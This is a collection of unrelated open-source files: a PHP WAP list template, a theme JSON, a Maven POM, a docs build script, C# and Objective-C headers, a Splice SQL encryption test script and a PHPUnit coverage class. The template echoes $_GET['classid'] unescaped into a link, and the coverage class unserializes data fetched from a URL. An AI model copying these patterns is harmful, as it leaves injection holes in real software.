0x100,.a200x375,.a760x100,.a200x100,.ad_left,.ad_right{display:none !important;}</style><style type="text/css"></style><style>@-moz-keyframes nodeInserted{from{opacity:0.99;}to{opacity:1;}}@-webkit-keyframes nodeInserted{from{opacity:0.99;}to{opacity:1;}}@-o-keyframes nodeInserted{from{opacity:0.99;}to{opacity:1;}}@keyframes nodeInserted{from{opacity:0.99;}to{opacity:1;}}embed,object{animation-duration:.001s;-ms-animation-duration:.001s;-moz-animation-duration:.001s;-webkit-animation-duration:.001s;-o-animation-duration:.001s;animation-name:nodeInserted;-ms-animation-name:nodeInserted;-moz-animation-name:nodeInserted;-webkit-animation-name:nodeInserted;-o-animation-name:nodeInserted;}</style>
</head>
<body screen_capture_injected="true">
<div>
<ul class="mainmenu2 radius margin10">
<volist name="listinfo" id="so">
<li class="radius_top border-top-none">
<div class="menubtn">
<if condition="$so['linkurl']">
<a href="<#$so['linkurl']#>">
<else />
<a href="<#:U('Wap/info',array('sid'=>$so['uid'],'cid'=>$so['cid'],'id'=>$so['id']))#>">
</if>
<h2 class="menutitle"><#$so['title']#></h2>
<p class="menudesc"><#$so['smalltitle']#></p>
</a> <span class="icon"> </span> </div>
</li>
</volist>
</ul>
<div class="pagelist">
<eq name="p" value="1"><else/><a href="/index.php?g=Api&m=Wap&a=lists&cid=<#$wechaid#>&classid=<php>echo $_GET['classid'];</php>&token=<#$info['token']#>&p=<php>echo $p-1;</php>">上一页</a></eq>
<?php
if($p<$page){
echo '<a href="/index.php?g=Api&m=Wap&a=lists&cid='.$wechaid.'&classid='.(int)$_GET['classid'].'&token='.$info['token'].'&p='.($p+1).'">下一页</a>';
}else{
}
?>
</div>
</div>
<eq name="copyright" value="0">
<div class="copyright" >
<empty name="siteinfo.shopname"> <#$info['wxname']#><else/> <#$siteinfo.shopname#></empty>
</div>
</eq>
<div style="display:none"></div>
</body>
</html> | {
"pile_set_name": "Github"
} |
<html>
<body>
Show the result of macro expansion.
</body>
</html>
| {
"pile_set_name": "Github"
} |
{
"name": "Neutron",
"theme_colors": {
"foreground": "#e6e8ef",
"background": "#1c1e22",
"black": "#23252b",
"red": "#b54036",
"green": "#5ab977",
"brown": "#deb566",
"blue": "#6a7c93",
"magenta": "#a4799d",
"cyan": "#3f94a8",
"white": "#e6e8ef",
"light_black": "#23252b",
"light_red": "#b54036",
"light_green": "#5ab977",
"light_brown": "#deb566",
"light_blue": "#6a7c93",
"light_magenta": "#a4799d",
"light_cyan": "#3f94a8",
"light_white": "#ebedf2"
}
} | {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>com.github.jhg023</groupId>
<artifactId>SimpleNet</artifactId>
<version>1.6.6</version>
<name>SimpleNet</name>
<description>An easy-to-use, event-driven, asynchronous, network application framework compiled with Java 11.</description>
<url>https://github.com/jhg023/SimpleNet</url>
<licenses>
<license>
<name>MIT License</name>
<url>http://www.opensource.org/licenses/mit-license.php</url>
</license>
</licenses>
<developers>
<developer>
<name>Jacob Glickman</name>
<email>jhg023@bucknell.edu</email>
<organization>com.github.jhg023</organization>
<organizationUrl>https://github.com/jhg023/SimpleNet</organizationUrl>
</developer>
</developers>
<scm>
<connection>scm:git:git://github.com/jhg023/SimpleNet.git</connection>
<developerConnection>scm:git:ssh://github.com:jhg023/SimpleNet.git</developerConnection>
<url>https://github.com/jhg023/SimpleNet</url>
</scm>
<distributionManagement>
<snapshotRepository>
<id>ossrh</id>
<url>https://oss.sonatype.org/content/repositories/snapshots</url>
</snapshotRepository>
<repository>
<id>ossrh</id>
<url>https://oss.sonatype.org/service/local/staging/deploy/maven2/</url>
</repository>
</distributionManagement>
<properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
<project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
<junit.jupiter.version>5.6.2</junit.jupiter.version>
</properties>
<dependencies>
<dependency>
<groupId>com.github.jhg023</groupId>
<artifactId>Pbbl</artifactId>
<version>1.0.2</version>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-api</artifactId>
<version>${junit.jupiter.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-params</artifactId>
<version>${junit.jupiter.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-engine</artifactId>
<version>${junit.jupiter.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>2.0.0-alpha1</version>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-assembly-plugin</artifactId>
<version>3.3.0</version>
<configuration>
<descriptorRefs>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
<appendAssemblyId>false</appendAssemblyId>
<attach>false</attach>
</configuration>
<executions>
<execution>
<id>make-assembly</id> <!-- this is used for inheritance merges -->
<phase>package</phase> <!-- bind to the packaging phase -->
<goals>
<goal>single</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<version>3.8.1</version>
<configuration>
<source>11</source>
<target>11</target>
<compilerArgument>-Xlint</compilerArgument>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-gpg-plugin</artifactId>
<version>1.6</version>
<executions>
<execution>
<id>sign-artifacts</id>
<phase>verify</phase>
<goals>
<goal>sign</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-javadoc-plugin</artifactId>
<version>3.2.0</version>
<executions>
<execution>
<id>attach-javadocs</id>
<goals>
<goal>jar</goal>
</goals>
</execution>
</executions>
<dependencies>
<dependency>
<groupId>org.ow2.asm</groupId>
<artifactId>asm</artifactId>
<version>8.0.1</version>
</dependency>
</dependencies>
<configuration>
<additionalOptions>-Xdoclint:none</additionalOptions>
</configuration>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-source-plugin</artifactId>
<version>3.2.1</version>
<executions>
<execution>
<id>attach-sources</id>
<goals>
<goal>jar-no-fork</goal>
</goals>
</execution>
</executions>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>3.0.0-M5</version>
<configuration>
<argLine>--add-opens com.github.simplenet/com.github.simplenet=ALL-UNNAMED</argLine>
</configuration>
</plugin>
<plugin>
<groupId>org.sonatype.plugins</groupId>
<artifactId>nexus-staging-maven-plugin</artifactId>
<version>1.6.8</version>
<extensions>true</extensions>
<configuration>
<serverId>ossrh</serverId>
<nexusUrl>https://oss.sonatype.org/</nexusUrl>
<autoReleaseAfterClose>true</autoReleaseAfterClose>
</configuration>
</plugin>
</plugins>
</build>
</project> | {
"pile_set_name": "Github"
} |
#!/bin/bash
set -e
cd $(dirname "${BASH_SOURCE[0]}")
cd ..
jazzy -g https://github.com/tidwall/Safe -o docsb --skip-undocumented -a "Josh Baker" -m "Safe" -u "http://github.com/tidwall"
echo ".nav-group-name a[href=\"Extensions.html\"] { display: none; }" >> docsb/css/jazzy.css
echo ".nav-group-name a[href=\"Extensions.html\"] ~ ul { display: none; }" >> docsb/css/jazzy.css
printf "%s(\".nav-group-name a[href='Extensions.html']\").parent().hide()\n" "$" >> docsb/js/jazzy.js
printf "%s(\".nav-group-name a[href='../Extensions.html']\").parent().hide()\n" "$" >> docsb/js/jazzy.js
printf "%s(\"header .content-wrapper a[href='index.html']\").parent().html(\"<a href='index.html'>Safe Docs</a>\")\n" "$" >> docsb/js/jazzy.js
printf "%s(\"header .content-wrapper a[href='../index.html']\").parent().html(\"<a href='../index.html'>Safe Docs</a>\")\n" "$" >> docsb/js/jazzy.js
git checkout gh-pages
function cleanup {
git reset
git checkout master
}
trap cleanup EXIT
rm -rf docs
mv docsb docs
git add docs/
git commit -m "updated docs" | {
"pile_set_name": "Github"
} |
using CustomCamera.Domain;
using ObjectPooler.Domain;
namespace ObjectPooler.Application.Displayers
{
/**
* All classes with responsibility to display some objects (Displayers) should extends this abstract class
*/
public abstract class AObjectPoolerDisplayer : IObjectPoolerDisplayer
{
public abstract bool IsDynamic();
public abstract void Display(int minX, int maxX, int minY, int maxY, TerrainPositionsFromCameraBoundaries terrainPositionsFromCameraBoundaries);
// ReSharper disable once InconsistentNaming
protected ObjectPoolerManager _objectPoolerManager;
public AObjectPoolerDisplayer(ObjectPoolerManager objectPoolerManager)
{
_objectPoolerManager = objectPoolerManager;
}
}
} | {
"pile_set_name": "Github"
} |
--
-- Licensed to the Apache Software Foundation (ASF) under one or more
-- contributor license agreements. See the NOTICE file distributed with
-- this work for additional information regarding copyright ownership.
-- The ASF licenses this file to You under the Apache License, Version 2.0
-- (the "License"); you may not use this file except in compliance with
-- the License. You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
--
-- This script tests error cases where encryption of an un-encryped database
-- or re-encrption of an encrypted databases with new password/key should fail
-- when
-- 1) the database is booted read-only mode using jar subprotocol.
-- 2) the databases with log archive mode enabled. It should
--- succeed after disabling the log archive mode.
-- 3) when restoring from backup.
--------------------------------------------------------------------
-- Case : create a plain database, jar it up and then attempt
-- to encrypt using the jar protocol
connect 'jdbc:splice:endb;create=true';
create table t1(a int ) ;
insert into t1 values(1) ;
insert into t1 values(2) ;
insert into t1 values(3) ;
insert into t1 values(4) ;
insert into t1 values(5) ;
disconnect;
connect 'jdbc:splice:endb;shutdown=true';
-- now create archive of the database.
connect 'jdbc:splice:wombat;create=true';
create procedure CREATEARCHIVE(jarName VARCHAR(20), path VARCHAR(20), dbName VARCHAR(20))
LANGUAGE JAVA PARAMETER STYLE JAVA
NO SQL
EXTERNAL NAME 'com.splicemachine.dbTesting.functionTests.tests.lang.dbjarUtil.createArchive';
-- archive the "endb" and put in "ina.jar" with dbname as "jdb1".
call CREATEARCHIVE('ina.jar', 'endb', 'jdb1');
disconnect;
-- try encrypting the database 'jdb1' using the jar protocol.
-- should fail
connect 'jdbc:splice:jar:(ina.jar)jdb1;dataEncryption=true;bootPassword=xyz1234abc';
connect 'jdbc:splice:jar:(ina.jar)jdb1;dataEncryption=true;encryptionKey=6162636465666768';
-- Case: create a a jar file of an encrypted database and
-- try re-encrypting it while boot it with the jar sub protocol
-- encrypt the databases.
connect 'jdbc:splice:endb;dataEncryption=true;bootPassword=xyz1234abc';
insert into t1 values(6);
insert into t1 values(7);
disconnect;
connect 'jdbc:splice:endb;shutdown=true';
-- create archive of encrypted database.
connect 'jdbc:splice:wombat';
call CREATEARCHIVE('ina.jar', 'endb', 'jdb1');
disconnect;
-- test the encrypted jar db
connect 'jdbc:splice:jar:(ina.jar)jdb1;dataEncryption=true;bootPassword=xyz1234abc;';
select * from t1;
disconnect;
connect 'jdbc:splice:;shutdown=true';
-- now finally attempt to re-encrypt the encrypted jar db with
-- a new boot password, it should fail.
connect 'jdbc:splice:jar:(ina.jar)jdb1;dataEncryption=true;bootPassword=xyz1234abc;newBootPassword=new1234xyz';
-- testing (re) encryption of a database
-- when the log arhive mode enabled -----
-- Case : configuring a un-encrypted database for
-- encryption should fail, when log archive mode is enabled.
connect 'jdbc:splice:wombat';
create table emp(id int, name char (200));
insert into emp values (1, 'john');
insert into emp values(2 , 'mike');
insert into emp values(3 , 'robert');
-- take a backup , this is used later.
call SYSCS_UTIL.SYSCS_BACKUP_DATABASE('extinout/mybackup');
-- enable the log archive mode and perform backup.
call SYSCS_UTIL.SYSCS_BACKUP_DATABASE_AND_ENABLE_LOG_ARCHIVE_MODE(
'extinout/mybackup1', 0);
insert into emp select * from emp ;
insert into emp select * from emp ;
insert into emp select * from emp ;
disconnect;
connect 'jdbc:splice:wombat;shutdown=true';
-- attempt to configure the database for encryption using password.
connect 'jdbc:splice:wombat;dataEncryption=true;bootPassword=xyz1234abc;';
-- attempt to configure the database for encryption using key.
connect 'jdbc:splice:wombat;dataEncryption=true;encryptionKey=6162636465666768';
-- disable log archive mode and then reattempt encryption on
-- next boot.
connect 'jdbc:splice:wombat';
select count(*) from emp ;
call SYSCS_UTIL.SYSCS_DISABLE_LOG_ARCHIVE_MODE(1);
disconnect;
connect 'jdbc:splice:wombat;shutdown=true';
-- Case: encrypt the database, with log archive mode disabled.
connect 'jdbc:splice:wombat;dataEncryption=true;bootPassword=xyz1234abc;';
select count(*) from emp;
create table t1(a int ) ;
insert into t1 values(1);
-- enable log archive mode and perform backup.
call SYSCS_UTIL.SYSCS_BACKUP_DATABASE_AND_ENABLE_LOG_ARCHIVE_MODE(
'extinout/mybackup2', 0);
insert into t1 values(2);
insert into t1 values(3);
disconnect;
connect 'jdbc:splice:wombat;shutdown=true';
-- attempt to re-encrypt the database , with log archive mode enabled.
-- it should fail.
connect 'jdbc:splice:wombat;dataEncryption=true;bootPassword=xyz1234abc;newBootPassword=new1234xyz';
-- reboot the db and disable the log archive mode
connect 'jdbc:splice:wombat;bootPassword=xyz1234abc';
select * from t1;
call SYSCS_UTIL.SYSCS_DISABLE_LOG_ARCHIVE_MODE(1);
disconnect;
connect 'jdbc:splice:wombat;shutdown=true';
-- re-encrypt the database, with the log archive mode disabled.
-- it should pass.
connect 'jdbc:splice:wombat;dataEncryption=true;bootPassword=xyz1234abc;newBootPassword=new1234xyz';
select * from t1;
select count(*) from emp;
disconnect;
connect 'jdbc:splice:wombat;shutdown=true';
-- testing re-encryption with external key on a log archived database.
-- restore from the backup orignal un-encrypted database and
-- encrypt with a key.
connect 'jdbc:splice:wombat;restoreFrom=extinout/mybackup1/wombat';
select count(*) from emp;
call SYSCS_UTIL.SYSCS_DISABLE_LOG_ARCHIVE_MODE(1);
disconnect;
connect 'jdbc:splice:wombat;shutdown=true';
-- encrypt with a key and enable the log archive mode.
connect 'jdbc:splice:wombat;dataEncryption=true;encryptionKey=6162636465666768';
select count(*) from emp;
create table t1(a int ) ;
insert into t1 values(1);
-- enable log archive mode and perform backup.
call SYSCS_UTIL.SYSCS_BACKUP_DATABASE_AND_ENABLE_LOG_ARCHIVE_MODE(
'extinout/mybackup2', 0);
insert into t1 values(2);
insert into t1 values(3);
disconnect;
connect 'jdbc:splice:wombat;shutdown=true';
-- attempt to re-encrypt the database with external key, with log archive mode enabled.
-- it should fail.
connect 'jdbc:splice:wombat;encryptionKey=6162636465666768;newEncryptionKey=5666768616263646';
-- reboot the db and disable the log archive mode
connect 'jdbc:splice:wombat;encryptionKey=6162636465666768';
select * from t1;
call SYSCS_UTIL.SYSCS_DISABLE_LOG_ARCHIVE_MODE(1);
call SYSCS_UTIL.SYSCS_BACKUP_DATABASE('extinout/mybackup1');
disconnect;
connect 'jdbc:splice:wombat;shutdown=true';
-- now re-encrypt the database, with the log archive mode disbaled.
-- it should pass.
connect 'jdbc:splice:wombat;encryptionKey=6162636465666768;newEncryptionKey=5666768616263646';
select * from t1;
select count(*) from emp;
disconnect;
connect 'jdbc:splice:wombat;shutdown=true';
-- restore from backup and attempt to configure database for encryption.
-- it shoud fail.
connect 'jdbc:splice:wombat;restoreFrom=extinout/mybackup/wombat;dataEncryption=true;bootPassword=xyz1234abc';
-- creating database from backup and attempting to configure database for encryption.
-- it shoud fail.
connect 'jdbc:splice:wombat_new;createFrom=extinout/mybackup/wombat;dataEncryption=true;bootPassword=xyz1234abc';
-- restore from backup and attempt to reEncrypt
-- it should fail.
connect 'jdbc:splice:wombat;restoreFrom=extinout/mybackup1/wombat;encryptionKey=6162636465666768;newEncryptionKey=5666768616263646';
-- restore from backup without re-encryption
-- it shoud boot.
connect 'jdbc:splice:wombat;restoreFrom=extinout/mybackup1/wombat;encryptionKey=6162636465666768';
select count(*) from emp;
disconnect;
connect 'jdbc:splice:wombat;shutdown=true';
| {
"pile_set_name": "Github"
} |
<?php
class PHPUnit_Extensions_SeleniumCommon_RemoteCoverage
{
public function __construct($coverageScriptUrl, $testId)
{
$this->coverageScriptUrl = $coverageScriptUrl;
$this->testId = $testId;
}
public function get()
{
if (!empty($this->coverageScriptUrl)) {
$url = sprintf(
'%s?PHPUNIT_SELENIUM_TEST_ID=%s',
$this->coverageScriptUrl,
urlencode($this->testId)
);
$buffer = @file_get_contents($url);
if ($buffer !== FALSE) {
$coverageData = unserialize($buffer);
if (is_array($coverageData)) {
return $this->matchLocalAndRemotePaths($coverageData);
} else {
throw new Exception('Empty or invalid code coverage data received from url "' . $url . '"');
}
}
}
return array();
}
/**
* @param array $coverage
* @return array
* @author Mattis Stordalen Flister <mattis@xait.no>
*/
protected function matchLocalAndRemotePaths(array $coverage)
{
$coverageWithLocalPaths = array();
foreach ($coverage as $originalRemotePath => $data) {
$remotePath = $originalRemotePath;
$separator = $this->findDirectorySeparator($remotePath);
while (!($localpath = stream_resolve_include_path($remotePath)) &&
strpos($remotePath, $separator) !== FALSE) {
$remotePath = substr($remotePath, strpos($remotePath, $separator) + 1);
}
if ($localpath && md5_file($localpath) == $data['md5']) {
$coverageWithLocalPaths[$localpath] = $data['coverage'];
}
}
return $coverageWithLocalPaths;
}
/**
* @param string $path
* @return string
* @author Mattis Stordalen Flister <mattis@xait.no>
*/
protected function findDirectorySeparator($path)
{
if (strpos($path, '/') !== FALSE) {
return '/';
}
return '\\';
}
}
| {
"pile_set_name": "Github"
} |
/*
Copyright (c) 2007-2008 Gordon Gremme <gordon@gremme.org>
Copyright (c) 2007-2008 Center for Bioinformatics, University of Hamburg
Permission to use, copy, modify, and distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
#ifndef FEATURE_VISITOR_LUA_H
#define FEATURE_VISITOR_LUA_H
#include "lua.h"
/* exports the FeatureVisitor class (which implements the GtNodeVisitor)
interface to Lua:
-- Returns a new feature visitor object over <feature_index>. That is, all
-- genome nodes which are visited by the feature visitor are added to the
-- <feature_index>.
function feature_visitor_new(feature_index)
*/
int gt_lua_open_feature_visitor(lua_State*);
#endif
| {
"pile_set_name": "Github"
} |
// Software License Agreement (BSD License)
//
// Copyright (c) 2010-2016, Deusty, LLC
// All rights reserved.
//
// Redistribution and use of this software in source and binary forms,
// with or without modification, are permitted provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Neither the name of Deusty nor the names of its contributors may be used
// to endorse or promote products derived from this software without specific
// prior written permission of Deusty, LLC.
// Disable legacy macros
#ifndef DD_LEGACY_MACROS
#define DD_LEGACY_MACROS 0
#endif
#import "OSSDDLog.h"
@class OSSDDLogFileInfo;
/**
* This class provides a logger to write log statements to a file.
**/
// Default configuration and safety/sanity values.
//
// maximumFileSize -> kDDDefaultLogMaxFileSize
// rollingFrequency -> kDDDefaultLogRollingFrequency
// maximumNumberOfLogFiles -> kDDDefaultLogMaxNumLogFiles
// logFilesDiskQuota -> kDDDefaultLogFilesDiskQuota
//
// You should carefully consider the proper configuration values for your application.
extern unsigned long long const osskDDDefaultLogMaxFileSize;
extern NSTimeInterval const osskDDDefaultLogRollingFrequency;
extern NSUInteger const osskDDDefaultLogMaxNumLogFiles;
extern unsigned long long const osskDDDefaultLogFilesDiskQuota;
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#pragma mark -
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* The LogFileManager protocol is designed to allow you to control all aspects of your log files.
*
* The primary purpose of this is to allow you to do something with the log files after they have been rolled.
* Perhaps you want to compress them to save disk space.
* Perhaps you want to upload them to an FTP server.
* Perhaps you want to run some analytics on the file.
*
* A default LogFileManager is, of course, provided.
* The default LogFileManager simply deletes old log files according to the maximumNumberOfLogFiles property.
*
* This protocol provides various methods to fetch the list of log files.
*
* There are two variants: sorted and unsorted.
* If sorting is not necessary, the unsorted variant is obviously faster.
* The sorted variant will return an array sorted by when the log files were created,
* with the most recently created log file at index 0, and the oldest log file at the end of the array.
*
* You can fetch only the log file paths (full path including name), log file names (name only),
* or an array of `DDLogFileInfo` objects.
* The `DDLogFileInfo` class is documented below, and provides a handy wrapper that
* gives you easy access to various file attributes such as the creation date or the file size.
*/
@protocol OSSDDLogFileManager <NSObject>
@required
// Public properties
/**
* The maximum number of archived log files to keep on disk.
* For example, if this property is set to 3,
* then the LogFileManager will only keep 3 archived log files (plus the current active log file) on disk.
* Once the active log file is rolled/archived, then the oldest of the existing 3 rolled/archived log files is deleted.
*
* You may optionally disable this option by setting it to zero.
**/
@property (readwrite, assign, atomic) NSUInteger maximumNumberOfLogFiles;
/**
* The maximum space that logs can take. On rolling logfile all old logfiles that exceed logFilesDiskQuota will
* be deleted.
*
* You may optionally disable this option by setting it to zero.
**/
@property (readwrite, assign, atomic) unsigned long long logFilesDiskQuota;
// Public methods
/**
* Returns the logs directory (path)
*/
@property (nonatomic, readonly, copy) NSString *logsDirectory;
/**
* Returns an array of `NSString` objects,
* each of which is the filePath to an existing log file on disk.
**/
@property (nonatomic, readonly, strong) NSArray<NSString *> *unsortedLogFilePaths;
/**
* Returns an array of `NSString` objects,
* each of which is the fileName of an existing log file on disk.
**/
@property (nonatomic, readonly, strong) NSArray<NSString *> *unsortedLogFileNames;
/**
* Returns an array of `DDLogFileInfo` objects,
* each representing an existing log file on disk,
* and containing important information about the log file such as it's modification date and size.
**/
@property (nonatomic, readonly, strong) NSArray<OSSDDLogFileInfo *> *unsortedLogFileInfos;
/**
* Just like the `unsortedLogFilePaths` method, but sorts the array.
* The items in the array are sorted by creation date.
* The first item in the array will be the most recently created log file.
**/
@property (nonatomic, readonly, strong) NSArray<NSString *> *sortedLogFilePaths;
/**
* Just like the `unsortedLogFileNames` method, but sorts the array.
* The items in the array are sorted by creation date.
* The first item in the array will be the most recently created log file.
**/
@property (nonatomic, readonly, strong) NSArray<NSString *> *sortedLogFileNames;
/**
* Just like the `unsortedLogFileInfos` method, but sorts the array.
* The items in the array are sorted by creation date.
* The first item in the array will be the most recently created log file.
**/
@property (nonatomic, readonly, strong) NSArray<OSSDDLogFileInfo *> *sortedLogFileInfos;
// Private methods (only to be used by DDFileLogger)
/**
* Generates a new unique log file path, and creates the corresponding log file.
**/
- (NSString *)createNewLogFile;
@optional
// Notifications from DDFileLogger
/**
* Called when a log file was archieved
*/
- (void)didArchiveLogFile:(NSString *)logFilePath NS_SWIFT_NAME(didArchiveLogFile(atPath:));
/**
* Called when the roll action was executed and the log was archieved
*/
- (void)didRollAndArchiveLogFile:(NSString *)logFilePath NS_SWIFT_NAME(didRollAndArchiveLogFile(atPath:));
@end
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#pragma mark -
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* Default log file manager.
*
* All log files are placed inside the logsDirectory.
* If a specific logsDirectory isn't specified, the default directory is used.
* On Mac, this is in `~/Library/Logs/<Application Name>`.
* On iPhone, this is in `~/Library/Caches/Logs`.
*
* Log files are named `"<bundle identifier> <date> <time>.log"`
* Example: `com.organization.myapp 2013-12-03 17-14.log`
*
* Archived log files are automatically deleted according to the `maximumNumberOfLogFiles` property.
**/
@interface OSSDDLogFileManagerDefault : NSObject <OSSDDLogFileManager>
/**
* Default initializer
*/
- (instancetype)init;
/**
* Designated initialized, requires the logs directory
*/
- (instancetype)initWithLogsDirectory:(NSString *)logsDirectory NS_DESIGNATED_INITIALIZER;
#if TARGET_OS_IPHONE
/*
* Calling this constructor you can override the default "automagically" chosen NSFileProtection level.
* Useful if you are writing a command line utility / CydiaSubstrate addon for iOS that has no NSBundle
* or like SpringBoard no BackgroundModes key in the NSBundle:
* iPhone:~ root# cycript -p SpringBoard
* cy# [NSBundle mainBundle]
* #"NSBundle </System/Library/CoreServices/SpringBoard.app> (loaded)"
* cy# [[NSBundle mainBundle] objectForInfoDictionaryKey:@"UIBackgroundModes"];
* null
* cy#
**/
- (instancetype)initWithLogsDirectory:(NSString *)logsDirectory defaultFileProtectionLevel:(NSFileProtectionType)fileProtectionLevel;
#endif
/*
* Methods to override.
*
* Log files are named `"<bundle identifier> <date> <time>.log"`
* Example: `com.organization.myapp 2013-12-03 17-14.log`
*
* If you wish to change default filename, you can override following two methods.
* - `newLogFileName` method would be called on new logfile creation.
* - `isLogFile:` method would be called to filter logfiles from all other files in logsDirectory.
* You have to parse given filename and return YES if it is logFile.
*
* **NOTE**
* `newLogFileName` returns filename. If appropriate file already exists, number would be added
* to filename before extension. You have to handle this case in isLogFile: method.
*
* Example:
* - newLogFileName returns `"com.organization.myapp 2013-12-03.log"`,
* file `"com.organization.myapp 2013-12-03.log"` would be created.
* - after some time `"com.organization.myapp 2013-12-03.log"` is archived
* - newLogFileName again returns `"com.organization.myapp 2013-12-03.log"`,
* file `"com.organization.myapp 2013-12-03 2.log"` would be created.
* - after some time `"com.organization.myapp 2013-12-03 1.log"` is archived
* - newLogFileName again returns `"com.organization.myapp 2013-12-03.log"`,
* file `"com.organization.myapp 2013-12-03 3.log"` would be created.
**/
/**
* Generates log file name with default format `"<bundle identifier> <date> <time>.log"`
* Example: `MobileSafari 2013-12-03 17-14.log`
*
* You can change it by overriding `newLogFileName` and `isLogFile:` methods.
**/
@property (readonly, copy) NSString *newLogFileName;
/**
* Default log file name is `"<bundle identifier> <date> <time>.log"`.
* Example: `MobileSafari 2013-12-03 17-14.log`
*
* You can change it by overriding `newLogFileName` and `isLogFile:` methods.
**/
- (BOOL)isLogFile:(NSString *)fileName NS_SWIFT_NAME(isLogFile(withName:));
/* Inherited from DDLogFileManager protocol:
@property (readwrite, assign, atomic) NSUInteger maximumNumberOfLogFiles;
@property (readwrite, assign, atomic) NSUInteger logFilesDiskQuota;
- (NSString *)logsDirectory;
- (NSArray *)unsortedLogFilePaths;
- (NSArray *)unsortedLogFileNames;
- (NSArray *)unsortedLogFileInfos;
- (NSArray *)sortedLogFilePaths;
- (NSArray *)sortedLogFileNames;
- (NSArray *)sortedLogFileInfos;
*/
@end
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#pragma mark -
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* Most users will want file log messages to be prepended with the date and time.
* Rather than forcing the majority of users to write their own formatter,
* we will supply a logical default formatter.
* Users can easily replace this formatter with their own by invoking the `setLogFormatter:` method.
* It can also be removed by calling `setLogFormatter:`, and passing a nil parameter.
*
* In addition to the convenience of having a logical default formatter,
* it will also provide a template that makes it easy for developers to copy and change.
**/
@interface OSSDDLogFileFormatterDefault : NSObject <OSSDDLogFormatter>
/**
* Default initializer
*/
- (instancetype)init;
/**
* Designated initializer, requires a date formatter
*/
- (instancetype)initWithDateFormatter:(NSDateFormatter *)dateFormatter NS_DESIGNATED_INITIALIZER;
@end
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
#pragma mark -
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/**
* The standard implementation for a file logger
*/
@interface OSSDDFileLogger : OSSDDAbstractLogger <OSSDDLogger> {
OSSDDLogFileInfo *_currentLogFileInfo;
}
/**
* Default initializer
*/
- (instancetype)init;
/**
* Designated initializer, requires a `DDLogFileManager` instance
*/
- (instancetype)initWithLogFileManager:(id <OSSDDLogFileManager>)logFileManager NS_DESIGNATED_INITIALIZER;
/**
* Called when the logger is about to write message. Call super before your implementation.
*/
- (void)willLogMessage NS_REQUIRES_SUPER;
/**
* Called when the logger wrote message. Call super after your implementation.
*/
- (void)didLogMessage NS_REQUIRES_SUPER;
/**
* Called when the logger checks archive or not current log file.
* Override this method to exdend standart behavior. By default returns NO.
*/
- (BOOL)shouldArchiveRecentLogFileInfo:(OSSDDLogFileInfo *)recentLogFileInfo;
/**
* Log File Rolling:
*
* `maximumFileSize`:
* The approximate maximum size (in bytes) to allow log files to grow.
* If a log file is larger than this value after a log statement is appended,
* then the log file is rolled.
*
* `rollingFrequency`
* How often to roll the log file.
* The frequency is given as an `NSTimeInterval`, which is a double that specifies the interval in seconds.
* Once the log file gets to be this old, it is rolled.
*
* `doNotReuseLogFiles`
* When set, will always create a new log file at application launch.
*
* Both the `maximumFileSize` and the `rollingFrequency` are used to manage rolling.
* Whichever occurs first will cause the log file to be rolled.
*
* For example:
* The `rollingFrequency` is 24 hours,
* but the log file surpasses the `maximumFileSize` after only 20 hours.
* The log file will be rolled at that 20 hour mark.
* A new log file will be created, and the 24 hour timer will be restarted.
*
* You may optionally disable rolling due to filesize by setting `maximumFileSize` to zero.
* If you do so, rolling is based solely on `rollingFrequency`.
*
